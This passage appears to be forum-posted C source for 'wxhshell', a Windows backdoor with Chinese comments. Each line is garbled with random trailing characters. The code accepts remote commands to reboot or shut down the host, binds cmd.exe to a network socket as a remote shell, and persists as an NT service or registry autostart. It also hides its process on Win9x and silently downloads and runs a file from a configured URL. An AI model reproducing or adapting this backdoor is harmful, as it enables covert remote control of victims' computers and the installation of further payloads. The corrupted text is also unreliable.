  else { 86~HkHliv  
/!UuGm   
    switch(cmd[0]) { 'z2}qJJ)  
  UnZ*"%  
  // 帮助 }.7!@!q.  
  case '?': { ( =->rP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PEoO s  
    break; !J[3U   
  } gy _86y@  
  // 安装 8<k0j&~J  
  case 'i': { J1Mm,LTO  
    if(Install()) jcN84AaRFI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LGPy>,!  
    else t(CdoE,6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lm9y!>1"O  
    break; 0X-u'=Bs  
    } XZA3T Z  
  // 卸载 fSl+;|K n  
  case 'r': { >\8Bu#&s4  
    if(Uninstall()) *8U+2zgfC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b/'fC%o,  
    else t/_w}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -c%GlpZw  
    break; UKQ ,]VC  
    } f!*b8ND^R  
  // 显示 wxhshell 所在路径 5SK{^hw  
  case 'p': { ,v$gQU2  
    char svExeFile[MAX_PATH]; X}_}`wIn  
    strcpy(svExeFile,"\n\r"); (80]xLEBL  
      strcat(svExeFile,ExeFile); U n2xZ[4  
        send(wsh,svExeFile,strlen(svExeFile),0); JTpKF_Za<  
    break; B @UaaWh  
    } 'rRo2oTN  
  // 重启 O$Wt\Y <q  
  case 'b': { G!oq ;<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YU[93@mCh  
    if(Boot(REBOOT)) 8[ 1D4d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^M  PU?k  
    else { 1okL]VrI  
    closesocket(wsh); abWmPi  
    ExitThread(0); rZe"*$e  
    } oGly|L>  
    break; ,y3o ,gl  
    } 57)S"  
  // 关机 s7SW4ff1  
  case 'd': { $uawQf+S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8N!E`{W  
    if(Boot(SHUTDOWN)) w]UYD;f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3ZU`}  
    else { F^IYx~:  
    closesocket(wsh); C!B2 .:ja  
    ExitThread(0); -Uq I=#  
    } +e%9P%[+  
    break; @W=#gRqQPy  
    } xqO'FQO%  
  // 获取shell RERum  
  case 's': { zVZZdG~8  
    CmdShell(wsh); Jj|HeZ1C f  
    closesocket(wsh); #wNksh/J^  
    ExitThread(0); $91c9z;f^  
    break; p< '#f,o  
  } ~o= Sxaf  
  // 退出 4s^5t6  
  case 'x': { -wC;pA#o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z6B/H2  
    CloseIt(wsh); '[~NRKQJ  
    break; "dXRUg"  
    } A0cC)bd&  
  // 离开 Zb8Ty~.\P  
  case 'q': { za1MSR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F5gL-\6  
    closesocket(wsh); #qrZ(,I@n  
    WSACleanup(); 7K,Quq.%+  
    exit(1); NdGIH/Y;M  
    break; 7zXFQ|TP  
        } t ~ruP',~\  
  } S-}MS"  
  } i]J*lM7'  
}IO<Dq=[  
  // 提示信息 8@]*X,umc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I=o[\?u*_  
} m^0r9y,  
  } 74Xk^  8  
=}>wxO  
  return; ^!^6 |[  
} #N^TqOr  
TG7Ba[%  
// shell模块句柄 yI/2 e[  
int CmdShell(SOCKET sock) PPk\W7G  
{ aSdh5?  
STARTUPINFO si; =y -L'z&r  
ZeroMemory(&si,sizeof(si));  %Xs3Lz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~,+n_KST;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s3qWTdM  
PROCESS_INFORMATION ProcessInfo; CT,caa  
char cmdline[]="cmd"; u$ C@0d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J@D5C4>i  
  return 0; ?PVJeFH  
} Go~bQ2*'(/  
$* 1?"$LN  
// 自身启动模式 )*#Pp )Q  
int StartFromService(void) aEU[k>&  
{ L08>9tf`  
typedef struct d]1%/$v^  
{ <"A|Xv'Q  
  DWORD ExitStatus; ^2f'I iE  
  DWORD PebBaseAddress; 88}+.-3t$  
  DWORD AffinityMask;  o&uO]  
  DWORD BasePriority; \{r-e  
  ULONG UniqueProcessId; r@N 0%JZZ  
  ULONG InheritedFromUniqueProcessId; _svEPHU  
}   PROCESS_BASIC_INFORMATION; $jT&]p  
hY 2nT  
PROCNTQSIP NtQueryInformationProcess; @(>XSTh9  
Oop5bg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mr:;Wwd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lyGQ6zlSn  
MuNM)pyxp  
  HANDLE             hProcess; kk]f*[Zi5  
  PROCESS_BASIC_INFORMATION pbi; +./c=o/v  
lv -z[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b3(pRg[Fp  
  if(NULL == hInst ) return 0; GMmz`O XN  
EvZ;i^.8LS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hsV+?#I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z(Da?6#1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?^Sk17G  
yXU-@~  
  if (!NtQueryInformationProcess) return 0; { 3``To$  
aE}1~`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zJ{?'kp  
  if(!hProcess) return 0; 89@\AjI  
6OYXcPW'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z;1y7W!v  
_\E{T5  
  CloseHandle(hProcess); V:F;Nq%+j  
(IX iwu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ""Ul6hRgv  
if(hProcess==NULL) return 0; xe^*\6Y  
:xw2\:5~0  
HMODULE hMod; 1);$#Dlt k  
char procName[255]; }.Eq_wP<  
unsigned long cbNeeded; jvx9b([<sG  
3/I Q]8g"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [c4.E"  
T1zft#1~  
  CloseHandle(hProcess); ?]%JQ]Gf*  
SQ#6~zxl  
if(strstr(procName,"services")) return 1; // 以服务启动 wUzQ`h2  
'!`%!Xg  
  return 0; // 注册表启动 eeIh }t>[  
} _3$@s{k-TI  
UnNvlkjq9  
// 主模块 @C)O[&Sk  
int StartWxhshell(LPSTR lpCmdLine) ={' "ATX(U  
{ =jD[A>3I  
  SOCKET wsl; ^q6H =Dl  
BOOL val=TRUE; cT{iMgdI?  
  int port=0; %VYQz)yW  
  struct sockaddr_in door; H e]1 <tx  
Hv%(9)-8  
  if(wscfg.ws_autoins) Install(); f uojf+i  
U -~%-gFC  
port=atoi(lpCmdLine); g+/%r91hZ  
$;un$ko6%  
if(port<=0) port=wscfg.ws_port; '|^LNAx  
zi:F/TlUC  
  WSADATA data; >JT{~SRB|Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^|}C!t+  
3ojK2F(1D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oTZ?x}Z1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Okk[}G)  
  door.sin_family = AF_INET; { frEVHw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9[DQ[bL  
  door.sin_port = htons(port); 20m6-rkI<}  
7'FDI`e[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Qu]0BVIe  
closesocket(wsl); "FQh^+  
return 1; 7ka^y k@Q  
} @RotJl/>  
4,9AoK)yp  
  if(listen(wsl,2) == INVALID_SOCKET) { T(+F6d=1  
closesocket(wsl); dgssX9g37  
return 1; $n `Zvl2  
} DHpU?;|3  
  Wxhshell(wsl); e<5+&Cj  
  WSACleanup(); o!mf d}nG  
80$P35Q"  
return 0; 0w\X  
q" wi.&|  
} GG"0n{>0  
4 E3@O  
// 以NT服务方式启动 &ukNzV}VW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N-^\X3X  
{ ;KQ'/nII  
DWORD   status = 0; X2@mQ&n  
  DWORD   specificError = 0xfffffff; 4\pA^%73  
*B}vYX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zq!2);,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P},S[GaZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Qm`f5-d  
  serviceStatus.dwWin32ExitCode     = 0; CW\o>yh  
  serviceStatus.dwServiceSpecificExitCode = 0; 'lC"wP&$  
  serviceStatus.dwCheckPoint       = 0; e::5|6x  
  serviceStatus.dwWaitHint       = 0; 6(9Ta'ywZ  
R'dF<&Kj|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3\=8tg p  
  if (hServiceStatusHandle==0) return; #a#~YSnG  
<eN>X:_N  
status = GetLastError(); I-/PzL<W P  
  if (status!=NO_ERROR) 1+eC'&@Xjt  
{ 6}iIK,Om  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lG# &Pv>-  
    serviceStatus.dwCheckPoint       = 0; 4L!{U@ '  
    serviceStatus.dwWaitHint       = 0; FGwz5@|E  
    serviceStatus.dwWin32ExitCode     = status; 2IjqT L  
    serviceStatus.dwServiceSpecificExitCode = specificError; b@YSrjJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .6O>P2m]a_  
    return; p00\C  
  } u"T5m  
QQ2xNNF[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9q* sR1  
  serviceStatus.dwCheckPoint       = 0; ] {NY;|&I'  
  serviceStatus.dwWaitHint       = 0; ULU ]k#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J=zZGd%  
} $,i:#KT`  
~Ag !wj  
// 处理NT服务事件,比如:启动、停止 1pzU=!R?-O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Kjz,p^Y\  
{ !Z=`Wk5  
switch(fdwControl) ][G<CO`k  
{ }1R k]$XC  
case SERVICE_CONTROL_STOP: k9^P#l@p  
  serviceStatus.dwWin32ExitCode = 0; 2A`EFk7_X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5j ]}/Aq  
  serviceStatus.dwCheckPoint   = 0; 8: s3Q`O  
  serviceStatus.dwWaitHint     = 0;  h@W}xT  
  { *3 9sh[*}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $wN'mY  
  } Mm6 (Q  
  return; vjXvjv{t  
case SERVICE_CONTROL_PAUSE: ny=CtU!z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #h r!7Kc;N  
  break; h+Q ==  
case SERVICE_CONTROL_CONTINUE: aaaC8;.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J=\Y4- "  
  break; %{HqF>=~  
case SERVICE_CONTROL_INTERROGATE: 4&y_+  
  break; (b{ {B$O  
}; pM#:OlqC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Rx/]wyH  
} 8tdUnh%/  
wV-cpJ,}  
// 标准应用程序主函数 _&dGo(B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p O: EJ  
{ Tl=vgs1  
Hy `r}+  
// 获取操作系统版本 e,4!/|H:  
OsIsNt=GetOsVer(); 55!9U:{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o_5|L9  
4uu*&B  
  // 从命令行安装 G+%ZN  
  if(strpbrk(lpCmdLine,"iI")) Install(); CLYcg$V  
N@A#e/8  
  // 下载执行文件 %hTe%(e  
if(wscfg.ws_downexe) { k~q[qKb8y:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Wc]Fg9E  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2#E;5UYu  
} |RjjP 7  
BryMq !  
if(!OsIsNt) { d9^=#ot  
// 如果时win9x,隐藏进程并且设置为注册表启动 XBr>K> (  
HideProc(); /NkZ;<uxJ  
StartWxhshell(lpCmdLine); nB:Bw8U"Q  
} tP:xx2N_  
else )Tb;N  
  if(StartFromService()) CY 7REF  
  // 以服务方式启动 4o=G) KO{  
  StartServiceCtrlDispatcher(DispatchTable); K^> qn,]H'  
else my} P\r.  
  // 普通方式启动 -[7.VP   
  StartWxhshell(lpCmdLine); t)m4"p7  
X:e'@]Z)?  
return 0; @ =,J6  
}
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只看该作者 1 发表于: 2006-10-10
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